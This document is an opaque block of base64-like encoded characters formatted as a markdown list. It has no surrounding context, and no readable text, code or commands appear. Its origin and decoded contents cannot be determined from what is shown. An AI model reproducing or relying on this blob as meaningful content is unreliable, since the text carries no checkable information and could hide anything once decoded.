- wv/7v/oV/+v/+L//m//n3/h//zt/4f/1d1IM+c/+N3/j//bgl/7f/+Ev/5+ujv6PP/V//L/+5H/wV/63
- /+B/+Wf+H3/Pn/gH/oO////y5/9nv8ujd7/y8P/4i/9DWl/+T/7A//vvpLb/5e//f/z3f+B/9tv+n8U/
- +F//G7/H//4f0hrg//AH/k+/4f/9x/2D0//jf/y/r//Bf/7j7/7f/+bv8cv/W1rk+Wf+wF/+x/7Sf/EP
- /OX/8H/4f1X/x3/8D/7K3/9//R5ln/+3/+0/fHT2B/7H/+D/9ev/fb/q1/6//5w/8Fc9oIWuX/pvV/f/
- z//q16/+2f/wP/4V/82v/N9/x//rb/09fsXf+R/8Hv/H//D7/+//4t//q/7DP/BX/Yc/+FVf/p//9f/9
- b9GS3//1j/6p//d/9i/+n4d/JUH81Xf/71/4+/8fv/v//R/9j//3r09O8r//D/5fh//XX/0P/ur/8H89
- /L8//b//6d/26v/6u0j9/ur/9Jf+j7S4+Xv8st/lT/y//rJ/8Jf8n//m//nX/B7L//2v+MvWf8bv/7/8
- vZ/+gf/kP/ju7/un/sA//5f//j9Dhvkv/wP/xf/0H6RM5+tfSkuM/+D/8ef+g//57/9//17/1z979Q/+
- x//g//Lx/3X9D/6jf+Evf0A0/pd/l//zv/wl/8vf+0spXfc3/4H/7P/9K/7B/T+QVt1+5f/93/2H//fh
- //1f/f6UBfwz/tR/8H//H/73u7+q+b/+nP/w//w3x2Rl//e/8X/7N//G/+vPIbv8q/7N//tP+w//87/w
- //oj/47f7//+iT/wX/2V//ef/vv/8t/j/zz5b//AH//7/85/l9T1//3v/9//07999//8tf+vf/zBb/pL
- SVv/u//3L/9d/qfP/89/4Q/8l6pf8Zv+n7u/B2Ux/8w/8F+gEPP//mP+QFoZ/8X/9999l1zZP/C//yv/
- wX/xf3x3/X//lf/X//iPUhLpf//L/8D/ktaH/++LX/EX/so/9//8K/7vf+Sv/L//hf/jwf/53V/6f/+Z
- tDb5v/6D/+dXv///8Tf8gf/Qf/iL/4/v/p/Z70HJ73/7D/wP/8Bf9uX/eef//m9/j//7T/yZ/+Of/D//
- YprJ//W//v3v/9+/+F/5Pf73q//zb/+//rHf4/968Kv+0f/rf/4//9Df43/653//X0Xm+F/8v5tf/A/+
- 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
- 9B/4y37D/5tWVP/EX/3x//XP/4f/5b/wH/6f3/0zf49f+n/8kX/HH/jLf///8+/9v3/pv/sP/uv/9f/5
- f1MK9I/9PX7Jr/h7/+/7f+Cv+vz//mXV//Hx//Ufffl/fflL/5u/k9Jp/9Qf+F/8sgd/IC2T/6H/w//5
- L/7f/2r1y/5dWgv7L//Vf/H//jN/FzILf8Y/+geSc/7jlPQjHfnn/1//xf/8B9br3+//+Of+w//p3/y/
- /po/8x/8D//C/+Uf/wt/+e/4f/0tv///+sdSzEPR7z/9DxJ9P6cl0f/8ilIO/+Z/+Cv/xF/15//f/8k/
- +H/+ib/kf/oj/69/5D/5E//vv/aX/qe//3/5r/6D/8Vv+qvfHv3vf/3//Vf8g//V7/EX/t9//j9LSYh/
- 8Vdf/R6/+nuXl//3//D7/+r/8H/77v/1z/2Dv4KM6S/+GyjV919TrPQX/F9/zIN/8L/6E/9PCi7++n/w
- D2j/97+x/D//2n/x9/jVn/3ff+jvQeQiiv9v/8Z//X//n7/tn/B7/O/fozWV/+P//j/u/4H/zW/7Py7/
- 719KGb8/8Ph//uQX/Mwvv/rsf/sn/9df8H/+Mf/gf/L7/9K/i4KxX/HxP/ir/sH/63//B//b3//v+/3/
- z1/1L/6r/+H/8Hts3/0D/9bf43/8bSmR9M//gf/HH/l/Hv6D/+Tv8iv/xP3/+1//H//X//Xv/N//wV/6
- T1eURvhFv/Lo//4n/+9/6/f41ZS++r//4P/x//zH/9O/8H//G//W3+O/q/73i//73/zPL/7B//D3/+V/
- 4v/9x/6D//Jf+OnvT07+Lz8kNv/u//B//53/7P/933yPkrr/+1//2/yB//k/uPN//cb/1z/xJ/6Bfzw5
- +f/nZ//qf/h//Zl/w5/xD/5HfyMt6f9fv+Y/+E98+X/+R/8hLRL/vf/j//0X/t//5X/5f/+v/+0f+Kvv
- /l+/+v/+t//D//3//g/+z3/+//6jfo//5g/41/6Pyz/zD/y//g0ykv/+r17/hd//v//S//v/IjNLUcU/
- /w/+8j/zX/wF/8df/Q/+C7/L//0n/vn/1//+B/4L/+Ov/vv+nb/y76LVi+3/638gl58yzn/8P/jf/Lb/
- 97/7B5If/KsfH/0ff+nv8n//epQh+l//8//xV3/5f937B//1u7RE+Vf8Hr/yN/39/q9LCvP/74//zz/i
- H/xV/+P/+uv/H7/w//73/8Bf+V/+H7/j//0vXf1ff97/vf4f/8X//Tf9B3713f/u/77+D4lv/pX/8lf+
- 0r//3/8D/7ff4/v/939/9//6lb/41/9d/s//5h/8T+/SqsM/8z/+it/jv/+//tr/8P/8L//A//73/5V/
- 6n//j3/5f/8+f+D/8Sv+xH/+//o7/+//7V9e/woKuP/B/+Bf/gP/tymppV/1H/6D/9s/+hf8n3/OH/i/
- /o//27/5f/wZ//f/8rv8qt/j//z1/8B/8ct/4P/4z3/T/+tv+r//l3//97/8vf/PP/rfvkvLHpRC/m3/
- j7/gD/w3f5f/+Xf8v3/NP/C/+B9/xd/54v/+238PWvT//v/1p/6b/+D/Rmsc/9e/8t//578H2en/4Pf/
- Zb8Lyd1/Sz19///49f/B//t/vP5fPv4/fgUttfwf3/s//wakAP+b//Ho//xP/sHrX374f3989X//db/H
- L/8f/68/9n/4v87/1b/yD/w3/rNfTIHC//k//l/3/8D/4Lv/93/6n/6D/9kv+79/2YNf9dn/9cv/w//7
- f/zft/+E/+uf/gf/14t/hVII/+L/9af8j/lf+H/82B/4b/2Dv/qP/D+zP/C//A9/5X/+H/5PLSXr/8f/
- +//4H/+PP/L/+h3+wH/tz/3F/+EX/8wf+F/8/n/P//Yr/oHmV/6BpPP+yn/wP/kL/65f/e8+/r9/4//r
- f/z9/+ff9P/6E/7Af/k//D//M4rKf4+/91f/m//HF//gf/8v/sz//D/+n//uP/jP/i5/+v/1t/yB/83f
- SHrqX/2///u/9P/+Vb/tZ7/qd/m//rX/8S//A3/1P/xfVX/B//Xn/6n/4H/3N/6ff/Ov/5v+j5RJ+g/+
- /f+7+N9//f/jT/0D/92/8P+8oAXuf+D3/z//kf/1z6Tl///qn/4f/49f/H/9b7/L//xP0gLhL/8Df9Wf
- uPxd/o+/5ff/+/73f+Fv/NX/099IyeE/6/f/Zd/9P/9wymf+n//u//VnVv/3bwiN/vuSfHz861OA+H//
- J//zv/4H/up/8P/+Y//A//X3+PN+6f/13f/rn/0H/4nf5X/9a//vP/QfpFzc//af//6/9f/9L/3y/+k/
- JN/4HyE399//Hf7vv/8P/C/+63+Qsmr/4P/ye1DX/9H//fv+nz/xB/7jv+ru/53/Hv/bH/5//8//4//0
- 1/6Bf+w/+D/8+//CP/hT/9fv+n//l3f/77/2T/i//65f/lfSEH/pr/7F/9f/9Qf+M9Wv+jd/yf/yz/7f
- /+0f+D//hX/vr/zX//zT//mP/aX/y2/6f/8n9a+s/q/DX/pf/4d/66/4c3/pr/gb/69/9P/+p/7d//C/
- /Dv/r3+e4rH/4VdScPhn/Yf/0x/4f939v/7i//H/+n3+wH/8d7n/e/zU//XVH/jv/t//+4P/+3f/v//T
- 3+N//vifI0f2l/2yP/A/+wP/9z////7D/u//7L/6F/+38v+4+j9o8v7ST3919eKPvfv5H0ieyZ9LSVnS
- zb/s3/4f/9fv/Z//18e/x//66/9fv/j//of/6d/jV/+T/0fxe/zP/+r//V/8g7/q7/y/v/y/f/Uf+H/+
- y//ZhDr/O/+v//mv/FP/wP/6y0f/5//1F/6qf5KU7i+6JAP/4Mv/+5//78kD+aUUS/2bFF9d/o/Xv+Lv
- /OL/+rN////xN6Vw5H//C//v//r//u//TXLp/vI/9J/8/f+7//OP+L//le/+rf/3//rP/oOkXf74//sf
- +g9Jof29FJn+D//i//bd//UP/C/+3T/wv6j+t3/z/774Pdb/27//Fx79b//DxT/47/7+/8ev/j9+cPcv
- +L8++wP/1z/29/hvf/9fff9P/L/+y7+Q/LL//A/8n//KX0pJ27/7v/8D/8/P/49f/A/+z//7H/j3/d+/
- x//1y3/V/02R9z9LK9T/y5/4f/wO/+C//A/+A//7b/kH/o+/x8/8qj/0f3z8d//v/82/+b9/8X//Gf/N
- b/sz/+VdkuQ/4g/8ZX/g7/h/b/+B/2L1f/yiX0Vm/v/+Vf/gd38Xms9/4v/+FYTpL/xlf+H/9Tv+gf/3
- H/i/3f3f/vn/6z/+Pf6rL/+vX179X3/6//2//Ye/7MH/8Rd8/Pkf+M+TO/wn/sL/+7/6Xf7mP/D3+Af/
- 94bk/5f/g7/qr/2l//wf+N/8m5QQ/T+/93/9jf/+f/g//7P/4f/5u/y9/8f/8eD/+L+uftnf+K/85//j
- r/j8+S/9FX/+P/vb/t+n/+fhH/gr/lwyU//tf/N3Hvxvf/0v/MW/7F//PVb/y6//f/yj//rv8n8/+D//
- s/+OEsL/199LiyW/2+/+v/zq/+Ov/PL/+hv/0D/wP26/+j//lX/wf/3V/yBlit7+g7SE/Ff/3//K70Hp
- lz/6H/wvf9P/7a//v/6Qf/D/otCRUk2/5H/6O1//J//xl//3r//5H/g//Yd/+//5J/6fl3/gf1r97//7
- v/l//KV3/69/6P/+T7/7f/+SX/lL//j/+/8k1+wXEGWIVn/Q//0/XP1vf+Qf+JeSU0t+0l/9+//q//HP
- /z//w9/jl109p+WaX/EH/m+/7h/5f/9nvwcE4V/9B0nDfvL7/V9/yu//q7787P/+Pf7Y3+N/+Fd//1/1
- J/4ff/o/+B/8h//bb/t/fPUP/t//6B/5f/9r/+D//t/+X3/nf/4X/vLf9g/81VcP/62//1f+g//Xn/IP
- ko/6e/3f/8uf+Hv8qt/jH/xl/yElMf6Xf/L3+CUf/5//50/+gf/Wr/y//pL/5N/8P/74P+H//nP/5epX
- /r2/M/nU/+zdX/0b/xV/4D//e/wff+Zv8w/+E3f/9z/yl/6jf+Gv+q/+zv/z9f/9J/yHtMT3z/9+//c/
- 8gf+x7//Z//7n/pL//E/8W/8v/+u3+NX/qeUO/s9/s+//h88+D/+xH/g8f/++S/9+//A/+ZP/D//6ur/
- /qV/7f/9n/wnD/73z//B//2v/7/+/H/w/7j7f/3k//zv/h9/5l/5B/7L//F/+D/9h6Rp/9Xf5f+6+DMp
- X/bLfq//6//8t//v9v/8H65+1W/5v/yHv/wP/L9oEez3+E8f/O9/OUXz//ff+H/8K//h//Er/7c/8f/+
- 6//DX/YP/u9/+N/6H/7v/+L//sf+37/8P/yf/8T/49//Pf6c//BXff57/At/4v/9V/yJ/9cfR7nWv+eX
- /af/97/7f/9Pf+7/9Vf/3//O3/jLftP/6z/+v/+Tu7/k//qL/q9/8f/6o/5FWjz8j/7C/2tN65n/yd/5
- f779A//F34OM/p//f//P/+Gv+Hf/z7/5D/xvv/zP/u9/9v/+32iMv/of/OX/3Zf/1y+mvOj//jf+fv9X
- dvEH/jt/4C//66v/8++mNPn/dvV/fO9P/KX/yV9JK3//3Xf/79/0N/2//77f479vf9X//OWMEmfv/sf/
- 8f/+Tf+vv/L3+O/+h3/3D/zfPv4Tf+X//Sf8g//tP/sP/jf/I4V1/9S//z/e/Wf+wf/qX/zV/+3/9fdS
- nuZ///Jf/L/+8X/wD/i//sD/41//v//h3+V//tV/wf/9a//f/+2//Hf+0n/19/jVv8v//v1f+qf+1//3
- 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
- 7O/xX/yB/9ef+3/9E3f/r//iP/2/KbT/L//vP+IfLH/5/371q3/n/+sfIWfp/8z/yz/wn/oL/8D/+5Cy
- Sn/f//bJ0f/5T/5fhNI/+H+9/qX/5NVv+n//Xf/3f/q7/J+Up/6H/v0/8L/6O/+3hiKk/+1/JC/0P/qV
- b//vv+4f/C8phXT0v//n/+Cv+P3/1//x//4b/8z/+5/65f/j//7v/l+/4v/+3/6zv/H3/yX/8//2H/yH
- f//jw//t+7/03/0D/9f/8P/8lf/XP/lX/rG/x//1B/7vb//E//Z//OoP/A/+7//z16cVBgqD/s/fn1TV
- 7/MH/pefkw/yv/2n/9cf9B8W//v/+H/8wb/6//4P/sH/u/o//+d/8L/+H/+O/5vC0//7v/0P/8+P/8/f
- hTJ2/8v3/q//8w/8zym38j/8g2S7/8f/43u/x//5G/+B/+l/+H/+h/9383/9wX8srdr8h3/r/01Bwz/4
- n1Eu7rf9v/6sX/9X/Qen/9fV3/c3/F+/klb8//df9x/8J37/X/lfksP8L//X/9ff+Mv+SoqZKXlAPu7f
- +3/+ev/i0f/9p5LB+Z9//1+9/X/9x3/nH/hf/q+//y/75Pcgaf7bv/wX/u8/8U/9C/+P7/3Sf/+v/d//
- wb/gH/zf/t0/4Q/88//D//tX/qr/5k/83/+Fv/B/+TP/z//ov/kLf1X+H/7vv+3//T/93/8r5WH+3T/w
- f/rP/8H/68Ev+L//m//kl/+F4//w//yb/2vKmNCM/uuUifs3/o//4Q/8J/6z//pf/Q//o//8P/y/f///
- +zf5B//Dv/FX/i2/6m/9pX/+f/jf/i6/+r//a//v/+k//L9+/f/7T/kP/6u7v8//cfYX/l//8d3/62/8
- Pf7b34NWC/60ivKY//Pv8it++Xc/+7/+2//7b/gD/2vKF/yB/+J/+Cv/xl/1O//ff9v//T/9LpRx+iP/
- wV/2N5If+z/8dxT5U2j2fz343/99EuX/4r+6+6t/r8v/69/7/Unfvf6//+s/ldYq/stf+ive/p//4x/4
- z//+v/J//Rt/9d/6S//x3+V/+qf/w1/9Z/6ff+w/OPu//sn/69/9A//5j//A/+j3/7//1H/wP/wP/+fq
- //y9/sB/5x/8Vf/k3/9/URai+Qf/h7+RVPMnlH38lf/t//GPUj7k//hHEVn8h7/6d/m//pzf5f/+M4/I
- IfgfKZ/9x//f/+N/+L/88l/5v739pf/pP/l//3t3/+/f5f/64/7A/+l3+bd+9e9Obtcv+9X/56P/+3+7
- +398ef5v//7/x3ePfv//a/cf/Cf+w1/+F/8e/yHJw//2+//iX/67/B9//T/4y36X/+Vf/QPf/J9/4n/w
- q2kF/V/4Lz/+D//v9f/9X/2B//P//Hv88v/wL/+//6u/8H/7x+/+Xw/+r//xP/yVf+D/vf47/u8/6D/8
- r//Af/B//0t/6Z/6B/7PV7/q/tX/9Z/8g//L3/l//qe/9J//D/+rf/Kf+S/+xF9y9V/+jeTR/N+7/+B/
- RGL8S3/1//Jf/7Z/4L/1+//Kq//8d/kL/69f9iv/7z+KfOK/51f+vf/3b/4H/q+/y//yK//v13/g/1E9
- /A9pSfb8v/w3f/X/+X/93b8/Jdp/838w/1/+wdn//c//j//nf/t//ecUa/yp/+X//a/8oxf/N6XqD//v
- /5Eyf3/vr/yXf9t/8J/836r/48/8v/+9v/Jv/L/+gX+TFqX/9//uwXd+6S/7H3/JL//yH/w/Pvv9yGn8
- t//v/+s//L//EMpj/W//9O//n/4PtPzxN/6fv5pU2L/w+/9P/9nVr/ov/+8/8h/8H3/l7/R//i3/9/92
- +Af+87/tH/iP/5P/9z/+5e/2f/8n/+Uf+F/8w//qf/if/Zv/+x/9B/4X//Hv/3/+tv/H7h94/X/9Hv/X
- f0+4/t+/xz/w7n//L//v/I/9B//7/+bv/b//gP/zV/+ff/L//T//jf8bZUP+k//7f/pX/8B//V/9E/+v
- v46ipF/1N/7f/8b//R/9/v97/gf+j3/pH/jf/aY/+GW/I0XP/+bv/9mv/qv/wf/jy//zv/pNfw9Kk1E+
- 6l/83z/5U//v/+N3+b+/91f+3//I7/+//43/d/MH/vt3n/9f//Z/+H9c/NKd//tP/Hd/j//16v+c/tL/
- 8//+FX/br/rXf9P/65+h7Mb/9SdQIIx0J62p/PN/4L84oyX07/9fU1oX+wf/53/xf3/9F/7fvzPFVv/7
- l5Sw/ZX/5q/+Z//BX/3n/p9/8R/4P/8e/8ff+X/8F3/gv0kW++0v/eVX/9ef/Pv/n7/r//1//YF/+//5
- e/zfvy6l+H7b/+BX/+V/67/6D/6n/+bfQ+nNz/7Bf/H//j8O/4/qnyR+/+W/8nejQPv/+tf/wV9G6yZ/
- 4P9CTvgf+J/8gf9b9X//+3/l//3m//pP/8L/+4/+A//v//U/+Cf/wf/yv/r3/4Xfpf0V/8Xv8b/9qX/g
- //Gb/gf/93f/md/jV/yL/+d/+Pv9D//H3/77/1+/PUn0//nP/l//6b/+H/6y3+P/ePZ//8v/9u//f/6F
- /+dv/w+uf8U/SwP5FX/n//3J//UfkEv6B/6iX/mr/8Tf75f8X//kZz9Fi/m/4P/6w+9SAuyXV//H50fk
- x/wf/+H/+tv+df8N+fK/6j/8v37lL/tP/8P//F/+Lgnfn/l//Mrq9/i/p//Kf/if/7b/1/Uf+L//j7/q
- H/w//8n/+3+pHv9ff+7//Tf9/v/lP40Icv0H/mv/46/4L/6F3+X/uvt//5J/8x+kRfv/8v/+y//v//4P
- /J/+69/l/6z+r//mD/yfftv/+//8B//Fu7/qD/8D/w0ksv+Cf/CX/Sd/46/+Lf/vP+i/qf73//qP/Pwf
- /Nf/w//l8//7n/hd/s/mD/z3/psvfwnJ9i8g4/g300Lr//kH/if/4C/6n37H3///+GX/6X/+H/4f9/7A
- f/9//F/+yP/rP/wH/5Pq3/1V/+gv+w//m3/z//gd/0LKgPwz/yBlosd/4L/071b/9/TuP/Of/IH/56/4
- C/+v3/YP/Ed+j1/2V/5f/9GXv+rP/AP/xP/0H/wf/s3/84v/64/+L/7E/+13+Qd/9Xc/+7///F/w1/3f
- //y/TR75//mf/If/yb9IGZs///f4L//A//tf/L//on/wf/ryf/tl/xcpp1/xv1b/63/75/3t//b/8B/+
- 8i//j/v/Ii2W/WfV//5P/i4/+Q/+37/Lr/4r/89//f/+H/7H/+3P/S/+wH/mf/zf/sb/64/+A//R6n+l
- dbTqH/wP/sL/9d/8v//I//v//A//p8O/DtnCX/ng//7baXXxt/9vf4//5C/81X/7//2/kzX4T//C/5Ws
- 2n/5b//vV//Hb0kLuP/Vv/m/fe/LF//A//Yf/l//6R/4P/3Dv////Bf+H4v/+1+lZCz9/PKX/qkPfo9f
- 9S/SitQ/+n//r//g//Vf/oH/8D/6+/+3f+Yv+D9+83/zd/kL/wFyzv7Kf/A/pez5P/4P/sf/4f/65Wf/
